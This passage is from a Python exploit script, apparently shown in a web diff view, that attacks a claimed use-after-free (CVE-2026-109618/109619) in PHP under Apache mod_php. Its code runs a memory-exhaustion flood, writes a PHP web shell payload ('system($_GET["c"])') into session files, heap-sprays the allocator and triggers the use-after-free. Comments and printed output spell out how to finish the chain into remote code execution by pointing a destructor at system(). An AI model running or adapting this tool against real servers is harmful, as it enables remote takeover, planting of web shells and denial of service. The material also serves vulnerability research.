b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
+ content + b"\r\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def build_oom_body(boundary, sid, php_payload, num_fields=200,
|
||||||
|
field_size=40960):
|
||||||
|
"""
|
||||||
|
Build multipart body that:
|
||||||
|
1. Sets PHP_SESSION_UPLOAD_PROGRESS with our payload
|
||||||
|
2. Includes a file upload to trigger progress tracking
|
||||||
|
3. Floods with large fields to exhaust memory_limit
|
||||||
|
|
||||||
|
The progress handler calls php_session_rfc1867_update() on each
|
||||||
|
update cycle, which calls php_session_encode() → php_var_serialize().
|
||||||
|
This sets BG(serialize).level=1 and allocates BG(serialize).data
|
||||||
|
(64 bytes in the ZendMM slab bin).
|
||||||
|
|
||||||
|
When OOM fires, zend_bailout() longjmps past
|
||||||
|
php_var_serialize_destroy(), leaving the state stale.
|
||||||
|
"""
|
||||||
|
parts = []
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary,
|
||||||
|
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||||
|
php_payload.encode() if isinstance(php_payload, str) else php_payload,
|
||||||
|
))
|
||||||
|
parts.append(build_multipart_file(
|
||||||
|
boundary, b"f", b"payload.bin", b"\x00" * 4096
|
||||||
|
))
|
||||||
|
for i in range(num_fields):
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary,
|
||||||
|
f"p{i:04d}".encode(),
|
||||||
|
b"X" * field_size,
|
||||||
|
))
|
||||||
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
|
return b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def detect_memory_limit(host, port, path):
|
||||||
|
"""
|
||||||
|
Probe memory_limit by sending increasing POST sizes until we get
|
||||||
|
a 500 response (OOM). Returns (num_fields, field_size) that triggers
|
||||||
|
OOM, or None if OOM cannot be triggered.
|
||||||
|
"""
|
||||||
|
configs = [
|
||||||
|
(50, 40960), # ~2MB
|
||||||
|
(100, 40960), # ~4MB
|
||||||
|
(150, 40960), # ~6MB
|
||||||
|
(200, 40960), # ~8MB
|
||||||
|
(300, 40960), # ~12MB
|
||||||
|
(400, 40960), # ~16MB
|
||||||
|
(600, 40960), # ~24MB
|
||||||
|
(800, 40960), # ~32MB
|
||||||
|
(999, 40960), # ~40MB (max_input_vars=1000 cap)
|
||||||
|
(999, 131072), # ~130MB
|
||||||
|
]
|
||||||
|
for num, size in configs:
|
||||||
|
sid = "probe" + os.urandom(4).hex()
|
||||||
|
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
||||||
|
body = build_oom_body(boundary, sid, "probe", num, size)
|
||||||
|
try:
|
||||||
|
status, _ = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
cookies=f"PHPSESSID={sid}", timeout=30
|
||||||
|
)
|
||||||
|
if status == 500:
|
||||||
|
return num, size
|
||||||
|
except (ConnectionError, socket.timeout):
|
||||||
|
return num, size
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def trigger_oom(host, port, path, sid, php_payload, num_fields, field_size,
|
||||||
|
target_pid=None):
|
||||||
|
"""
|
||||||
|
Send the OOM multipart to a specific worker (or any worker).
|
||||||
|
|
||||||
|
Returns (hit_target, worker_pid, status) where hit_target is True
|
||||||
|
if we OOM'd the target_pid worker.
|
||||||
|
"""
|
||||||
|
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
||||||
|
body = build_oom_body(boundary, sid, php_payload, num_fields, field_size)
|
||||||
|
|
||||||
|
status, rbody = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
cookies=f"PHPSESSID={sid}", timeout=60
|
||||||
|
)
|
||||||
|
|
||||||
|
pid = extract_pid(rbody)
|
||||||
|
hit = (target_pid is None) or (pid == target_pid)
|
||||||
|
return hit, pid, status
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 2: Heap spray ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
# ZendMM bin sizes: 8 16 24 32 40 48 56 64 80 96 112 128 ...
|
||||||
|
# BG(serialize).data = php_serialize_data struct:
|
||||||
|
# uint32_t n (4 bytes)
|
||||||
|
# HashTable ht (56 bytes on x86_64)
|
||||||
|
# Total: 60 bytes → 64-byte bin
|
||||||
|
#
|
||||||
|
# zend_string layout:
|
||||||
|
# gc (8) + h (8) + len (8) = 24-byte header + body + NUL
|
||||||
|
# For 64-byte bin: 24 + body + 1 = 64 → body = 39 bytes
|
||||||
|
#
|
||||||
|
# By sending POST fields with 39-char names, the zend_string allocations
|
||||||
|
# land in the same 64-byte bin, potentially reclaiming the freed
|
||||||
|
# BG(serialize).data slot.
|
||||||
|
#
|
||||||
|
# For a weaponized exploit, the spray content would be a fake
|
||||||
|
# php_serialize_data struct:
|
||||||
|
#
|
||||||
|
# struct php_serialize_data {
|
||||||
|
# uint32_t n; // offset 0: reference counter, set to 0
|
||||||
|
# // padding for alignment
|
||||||
|
# HashTable ht; // offset 8:
|
||||||
|
# // uint32_t nTableMask offset 8
|
||||||
|
# // Bucket *arData offset 16 (attacker-controlled pointer)
|
||||||
|
# // uint32_t nNumUsed offset 24
|
||||||
|
# // uint32_t nNumOfElements offset 28
|
||||||
|
# // uint32_t nTableSize offset 32
|
||||||
|
# // uint32_t nInternalPointer offset 36
|
||||||
|
# // zend_long nNextFreeElement offset 40
|
||||||
|
# // dtor_func_t pDestructor offset 48 (RIP control!)
|
||||||
|
# };
|
||||||
|
#
|
||||||
|
# pDestructor at offset 48 from the struct start is called during
|
||||||
|
# zend_hash_destroy(). By pointing it to system() (or a one-gadget)
|
||||||
|
# and placing a command string in arData, we get RCE.
|
||||||
|
|
||||||
|
SPRAY_NAME_LEN = 39 # 24 + 39 + 1 = 64 bytes (zend_string in 64-byte bin)
|
||||||
|
|
||||||
|
|
||||||
|
def build_spray_body(boundary, spray_count=500):
|
||||||
|
"""
|
||||||
|
Build a multipart body with many fields whose names are sized to
|
||||||
|
land in the 64-byte ZendMM bin (same bin as BG(serialize).data).
|
||||||
|
|
||||||
|
The field names are the spray payload. In a weaponized exploit,
|
||||||
|
these would be crafted to form a fake php_serialize_data struct
|
||||||
|
with controlled HashTable fields. Here we use recognizable patterns
|
||||||
|
for crash analysis.
|
||||||
|
"""
|
||||||
|
parts = []
|
||||||
|
for i in range(min(spray_count, 999)):
|
||||||
|
# Spray name: 39 bytes landing in 64-byte bin
|
||||||
|
# Fill with a pattern: 0x41414141... with index marker
|
||||||
|
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
||||||
|
# For weaponized exploit, the value would also be crafted.
|
||||||
|
# We use a recognizable pattern for heap analysis.
|
||||||
|
val = "B" * SPRAY_NAME_LEN
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary, name.encode(), val.encode()
|
||||||
|
))
|
||||||
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
|
return b"".join(parts)
|
||||||
|
|
||||||
|
|
||||||
|
def heap_spray(host, port, path, target_pid, rounds=10, spray_per_round=500):
|
||||||
|
"""
|
||||||
|
Send POST requests to the OOM'd worker to spray 64-byte allocations
|
||||||
|
into the ZendMM bin, aiming to reclaim the freed BG(serialize).data
|
||||||
|
slot with our controlled data.
|
||||||
|
|
||||||
|
Each request's field names allocate zend_strings in the 64-byte bin.
|
||||||
|
After request shutdown, these are freed back to the bin's free list.
|
||||||
|
Over multiple requests, the free list order rotates, increasing the
|
||||||
|
chance that one of our allocations reclaims the target slot.
|
||||||
|
|
||||||
|
Returns the number of rounds that hit the target worker.
|
||||||
|
"""
|
||||||
|
hits = 0
|
||||||
|
for r in range(rounds):
|
||||||
|
boundary = b"SPRAY" + os.urandom(4).hex().encode()
|
||||||
|
body = build_spray_body(boundary, spray_per_round)
|
||||||
|
try:
|
||||||
|
status, rbody = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
timeout=10
|
||||||
|
)
|
||||||
|
pid = extract_pid(rbody)
|
||||||
|
if pid == target_pid:
|
||||||
|
hits += 1
|
||||||
|
except (ConnectionError, socket.timeout):
|
||||||
|
pass
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
# ── Phase 3: Trigger UAF ───────────────────────────────────────────────
|
||||||
|
|
||||||
|
def trigger_uaf(host, port, path, target_pid, sid):
|
||||||
|
"""
|
||||||
|
Send multipart with upload progress to the OOM'd worker.
|
||||||
|
The progress handler calls php_session_rfc1867_update() which calls
|
||||||
|
php_session_encode() → php_var_serialize_init().
|
||||||
|
|
||||||
|
php_var_serialize_init checks BG(serialize).level:
|
||||||
|
- If > 0 (stale from OOM): increments level, reuses .data pointer
|
||||||
|
- The .data pointer was freed when the old heap was destroyed
|
||||||
|
- If heap spray reclaimed the slot, .data now contains our spray
|
||||||
|
|
||||||
|
The serialize code treats .data as a php_serialize_data struct with
|
||||||
|
a HashTable. It calls zend_hash_find/zend_hash_add on ht.
|
||||||
|
If ht.pDestructor is controlled, zend_hash_destroy() during cleanup
|
||||||
|
calls our function pointer → RIP control.
|
||||||
|
|
||||||
|
Returns (status, pid, body).
|
||||||
|
"""
|
||||||
|
boundary = b"TRIGGER" + os.urandom(4).hex().encode()
|
||||||
|
|
||||||
|
parts = []
|
||||||
|
parts.append(build_multipart_field(
|
||||||
|
boundary,
|
||||||
|
b"PHP_SESSION_UPLOAD_PROGRESS",
|
||||||
|
b"trigger",
|
||||||
|
))
|
||||||
|
parts.append(build_multipart_file(
|
||||||
|
boundary, b"f", b"t.bin", b"\x00" * 1024
|
||||||
|
))
|
||||||
|
parts.append(b"--" + boundary + b"--\r\n")
|
||||||
|
body = b"".join(parts)
|
||||||
|
|
||||||
|
try:
|
||||||
|
status, rbody = http_post_multipart(
|
||||||
|
host, port, path, boundary.decode(), body,
|
||||||
|
cookies=f"PHPSESSID={sid}", timeout=10
|
||||||
|
)
|
||||||
|
pid = extract_pid(rbody)
|
||||||
|
return status, pid, rbody
|
||||||
|
except (ConnectionError, socket.timeout) as e:
|
||||||
|
return 0, 0, str(e).encode()
|
||||||
|
|
||||||
|
|
||||||
|
# ── Session file check ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def check_session_file(sid, save_path="/tmp"):
|
||||||
|
"""
|
||||||
|
Check if the session file persists with PHP code.
|
||||||
|
Session files may be owned by www-data, so this may need elevated
|
||||||
|
privileges. Returns (exists, has_php_code, data).
|
||||||
|
"""
|
||||||
|
path = os.path.join(save_path, f"sess_{sid}")
|
||||||
|
try:
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
data = f.read()
|
||||||
|
return True, b"<?php" in data or b"system" in data, data
|
||||||
|
except PermissionError:
|
||||||
|
try:
|
||||||
|
result = subprocess.run(
|
||||||
|
["sudo", "cat", path],
|
||||||
|
capture_output=True, timeout=5
|
||||||
|
)
|
||||||
|
data = result.stdout
|
||||||
|
if data:
|
||||||
|
return True, b"<?php" in data or b"system" in data, data
|
||||||
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||||
|
pass
|
||||||
|
return True, False, b"(permission denied)"
|
||||||
|
except FileNotFoundError:
|
||||||
|
return False, False, b""
|
||||||
|
|
||||||
|
|
||||||
|
# ── Main ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619 UAF RCE (Apache mod_php)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--target", "-t", required=True,
|
||||||
|
help="Target URL, e.g. http://host:port/index.php"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--cmd", default="id",
|
||||||
|
help="Command to embed in session payload (default: id)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--session-path", default="/var/www/uaf-test/sessions",
|
||||||
|
help="Session save_path on the target"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--oom-fields", type=int, default=0,
|
||||||
|
help="Number of OOM fields (0 = auto-detect)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--field-size", type=int, default=40960,
|
||||||
|
help="OOM field value size in bytes (default: 40960)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--spray-rounds", type=int, default=20,
|
||||||
|
help="Number of heap spray rounds (default: 20)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--trigger-rounds", type=int, default=50,
|
||||||
|
help="Number of UAF trigger attempts (default: 50)"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--oom-only", action="store_true",
|
||||||
|
help="Only run Phase 1 (OOM + session poison), skip spray/trigger"
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--crash-test", action="store_true",
|
||||||
|
help="Run full chain and report whether a crash occurs"
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
url = urlparse(args.target)
|
||||||
|
host = url.hostname or "127.0.0.1"
|
||||||
|
port = url.port or 80
|
||||||
|
path = url.path or "/index.php"
|
||||||
|
|
||||||
|
php_payload = f'<?php system($_GET["c"]); echo "UAF_RCE:".getmypid(); ?>'
|
||||||
|
|
||||||
|
print("=" * 64)
|
||||||
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
||||||
|
print(" Use-After-Free RCE via OOM Bailout")
|
||||||
|
print(" (Apache mod_php, prefork MPM)")
|
||||||
|
print("=" * 64)
|
||||||
|
print(f" Target: {host}:{port}{path}")
|
||||||
|
print(f" Payload: {args.cmd}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# ── Phase 0: Worker discovery ───────────────────────────────────
|
||||||
|
|
||||||
|
print("[*] Phase 0: Discovering workers...")
|
||||||
|
pids = find_workers(host, port, path)
|
||||||
|
if not pids:
|
||||||
|
print("[-] No workers found. Is the target running mod_php?")
|
||||||
|
print(" (The target must echo getmypid() in its output.)")
|
||||||
|
sys.exit(1)
|
||||||
|
print(f" Workers: {pids}")
|
||||||
|
print(f" Count: {len(pids)} (Apache prefork children)")
|
||||||
|
|
||||||
|
# ── Phase 1: OOM trigger ────────────────────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 1: OOM trigger + session poisoning")
|
||||||
|
|
||||||
|
if args.oom_fields:
|
||||||
|
num_fields = args.oom_fields
|
||||||
|
field_size = args.field_size
|
||||||
|
print(f" Using configured: {num_fields} fields x {field_size}B")
|
||||||
|
else:
|
||||||
|
print(" Auto-detecting memory_limit...")
|
||||||
|
result = detect_memory_limit(host, port, path)
|
||||||
|
if result is None:
|
||||||
|
print("[-] Could not trigger OOM. memory_limit may be too high")
|
||||||
|
print(" or max_input_vars too low. Try --oom-fields manually.")
|
||||||
|
sys.exit(1)
|
||||||
|
num_fields, field_size = result
|
||||||
|
est_mb = num_fields * field_size / 1024 / 1024
|
||||||
|
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
||||||
|
|
||||||
|
# OOM each worker by sending requests until all have been hit.
|
||||||
|
# We cannot target a specific worker (500 responses have no PID),
|
||||||
|
# so we OOM repeatedly and track which workers survived.
|
||||||
|
poisoned_workers = {}
|
||||||
|
sids_used = []
|
||||||
|
max_oom_attempts = len(pids) * 8
|
||||||
|
|
||||||
|
for attempt in range(max_oom_attempts):
|
||||||
|
sid = "uaf" + os.urandom(6).hex()
|
||||||
|
sids_used.append(sid)
|
||||||
|
|
||||||
|
_, _, status = trigger_oom(
|
||||||
|
host, port, path, sid, php_payload,
|
||||||
|
num_fields, field_size
|
||||||
|
)
|
||||||
|
|
||||||
|
if status == 500:
|
||||||
|
print(f" [{attempt+1}] OOM triggered (status 500)")
|
||||||
|
elif status == 0:
|
||||||
|
print(f" [{attempt+1}] Connection error (worker may have died)")
|
||||||
|
else:
|
||||||
|
print(f" [{attempt+1}] status={status} (no OOM)")
|
||||||
|
continue
|
||||||
|
|
||||||
|
time.sleep(0.3)
|
||||||
|
pids_after = find_workers(host, port, path)
|
||||||
|
survived = set(pids) & set(pids_after)
|
||||||
|
new_workers = set(pids_after) - set(pids)
|
||||||
|
|
||||||
|
for pid in survived:
|
||||||
|
if pid not in poisoned_workers:
|
||||||
|
poisoned_workers[pid] = sid
|
||||||
|
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
||||||
|
|
||||||
|
if new_workers:
|
||||||
|
print(f" New workers spawned: {sorted(new_workers)}")
|
||||||
|
pids = sorted(set(pids) | new_workers)
|
||||||
|
|
||||||
|
# Check session file for the latest SID
|
||||||
|
exists, has_php, data = check_session_file(sid, args.session_path)
|
||||||
|
if exists and has_php:
|
||||||
|
print(f" [+] Session file: {len(data)}B with PHP code")
|
||||||
|
if data and data != b"(permission denied)":
|
||||||
|
print(f" Content: {data[:120]}")
|
||||||
|
elif exists:
|
||||||
|
print(f" Session file: {len(data)}B (no PHP code?)")
|
||||||
|
|
||||||
|
if len(poisoned_workers) >= len(pids):
|
||||||
|
print(f"\n All {len(pids)} workers poisoned!")
|
||||||
|
break
|
||||||
|
|
||||||
|
if not poisoned_workers:
|
||||||
|
print("\n[-] No workers survived OOM. This target may be PHP-FPM,")
|
||||||
|
print(" not Apache mod_php with prefork MPM.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"\n Poisoned workers: {list(poisoned_workers.keys())}")
|
||||||
|
|
||||||
|
if args.oom_only:
|
||||||
|
print("\n[*] --oom-only: stopping after Phase 1.")
|
||||||
|
print(" Confirmed primitives:")
|
||||||
|
print(" - OOM via multipart field flood")
|
||||||
|
print(" - Worker survival (Apache prefork)")
|
||||||
|
print(" - Session file persistence with PHP code")
|
||||||
|
print(" - Stale BG(serialize) state in surviving workers")
|
||||||
|
return
|
||||||
|
|
||||||
|
# ── Phase 2: Heap spray ─────────────────────────────────────────
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[*] Phase 2: Heap spray (targeting 64-byte ZendMM bin)")
|
||||||
|
|
||||||
|
for target_pid, sid in poisoned_workers.items():
|
||||||
|
print(f"\n Spraying worker {target_pid}...")
|
||||||
|
hits = heap_spray(host, port, path, target_pid,
|
||||||
|
rounds=args.spray_rounds)
|
||||||
|
print(f" Spray rounds hitting target: {hits}/{args.spray_rounds}")
|
||||||
|
|
||||||
|
# ── Phase 3: Trigger UAF ────────────────────────────────────
|
||||||
|
|
||||||
|
print(f"\n Phase 3: Triggering UAF on worker {target_pid}...")
|
||||||
|
|
||||||
|
crashed = False
|
||||||
|
trigger_sid = "trig" + os.urandom(6).hex()
|
||||||
|
for attempt in range(args.trigger_rounds):
|
||||||
|
status, pid, body = trigger_uaf(
|
||||||
|
host, port, path, target_pid, trigger_sid
|
||||||
|
)
|
||||||
|
if status == 0 or status >= 500:
|
||||||
|
print(f" [!] Worker crash on attempt {attempt+1}! "
|
||||||
|
f"status={status}")
|
||||||
|
crashed = True
|
||||||
|
break
|
||||||
|
if pid == target_pid and attempt < 5:
|
||||||
|
print(f" Attempt {attempt+1}: hit target, status={status}")
|
||||||
|
|
||||||
|
if crashed:
|
||||||
|
pids_final = find_workers(host, port, path)
|
||||||
|
if target_pid not in pids_final:
|
||||||
|
print(f" [+] CONFIRMED: Worker {target_pid} crashed!")
|
||||||
|
print(f" [+] UAF triggered via stale BG(serialize).data")
|
||||||
|
print(f" Current workers: {pids_final}")
|
||||||
|
print()
|
||||||
|
print(" For full RCE, a weaponized exploit would:")
|
||||||
|
print(" 1. Leak PHP base via CVE-2026-109619 info disclosure")
|
||||||
|
print(" 2. Construct fake HashTable with pDestructor = system()")
|
||||||
|
print(" 3. Place command string in arData")
|
||||||
|
print(" 4. Trigger serialize → pDestructor called → shell")
|
||||||
|
else:
|
||||||
|
print(f" Worker {target_pid} returned 500 but is still alive")
|
||||||
|
print(f" (May need more precise heap feng shui)")
|
||||||
|
else:
|
||||||
|
print(f" No crash after {args.trigger_rounds} attempts.")
|
||||||
|
print(f" The stale pointer likely still holds readable data.")
|
||||||
|
print()
|
||||||
|
print(" This is expected without precise heap feng shui.")
|
||||||
|
print(" The exploit demonstrates all confirmed primitives:")
|
||||||
|
print(" 1. OOM trigger via multipart field flood")
|
||||||
|
print(" 2. Worker survival on Apache prefork")
|
||||||
|
print(" 3. Session file persistence (cleanup skipped)")
|
||||||
|
print(" 4. Stale BG(serialize) state across requests")
|
||||||
|
print(" 5. Heap spray targeting 64-byte ZendMM bin")
|
||||||
|
print()
|
||||||
|
print(" Full weaponization requires:")
|
||||||
|
print(" a. ASLR bypass via info leak (CVE-2026-109619)")
|
||||||
|
print(" Session data from stale BG(unserialize) leaks")
|
||||||
|
print(" freed heap addresses through PHPSESSID cookie")
|
||||||
|
print(" b. Exact ZendMM 64-byte bin feng shui to reclaim")
|
||||||
|
print(" the BG(serialize).data slot with attacker data")
|
||||||
|
print(" c. Fake HashTable construction:")
|
||||||
|
print(" pDestructor → system() / one_gadget")
|
||||||
|
print(" arData → pointer to command string")
|
||||||
|
print(" d. Trigger php_var_serialize → zend_hash_destroy")
|
||||||
|
print(" on the fake table → RCE")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("=" * 64)
|
||||||
|
print(" Summary")
|
||||||
|
print("=" * 64)
|
||||||
|
for pid, sid in poisoned_workers.items():
|
||||||
|
print(f" Worker {pid}: OOM'd, survived, stale BG state (SID: {sid})")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user